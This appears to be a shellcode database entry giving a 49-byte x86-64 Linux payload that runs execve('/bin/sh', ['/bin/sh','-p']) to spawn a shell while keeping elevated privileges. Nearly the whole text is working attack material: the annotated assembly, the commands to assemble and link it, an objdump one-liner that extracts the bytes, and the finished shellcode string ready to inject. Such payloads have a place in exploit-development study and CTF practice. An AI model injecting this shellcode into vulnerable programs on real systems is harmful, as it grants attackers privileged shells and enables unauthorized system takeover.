execve(“/bin/sh”, [“/bin/sh”, “-p”], 0) - Spawn shell maintaining privileges
OS: Linux
Architecture: Intel x86-64
Length: 49 bytes
Assembly
section .text
global _start
_start:
xor rdx, rdx ; null rdx (0)
push rdx ; push null terminator
mov rax, 0x68732f2f6e69622f ; move "/bin//sh" into rax
push rax ; push "/bin//sh"
mov rdi, rsp ; move pointer to "/bin//sh" into rdi
xor rax, rax ; null out rax
push rax ; null terminator
mov word [rsp-2], 0x702d ; move "-p" into rsp - 2
sub rsp, 2 ; subtract 2 from rsp
mov rbx, rsp ; move pointer to "-p" into rbx
push rdx ; push null terminator
push rbx ; push pointer to "-p"
push rdi ; push pointer to "/bin//sh"
mov rsi, rsp ; move pointer to array {"/bin//sh", "-p"} into rsi
xor rax, rax ; null rax (0)
mov al, 0x3b ; move execve syscall number into al (rax)
syscall ; call execve
Compilation and Linking
# Assemble
nasm -f elf64 -o code.o code.asm
# Link
ld -m elf_x86_64 -s -o code code.o
# Extract Shellcode
printf '\\x' && objdump -d code | grep "^ " | cut -f2 | tr -d ' ' | tr -d '\n' | sed 's/.\{2\}/&\\x /g'| head -c-3 | tr -d ' ' && echo ' '
Shellcode
\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\x50\x66\xc7\x44\x24\xfe\x2d\x70\x48\x83\xec\x02\x48\x89\xe3\x52\x53\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05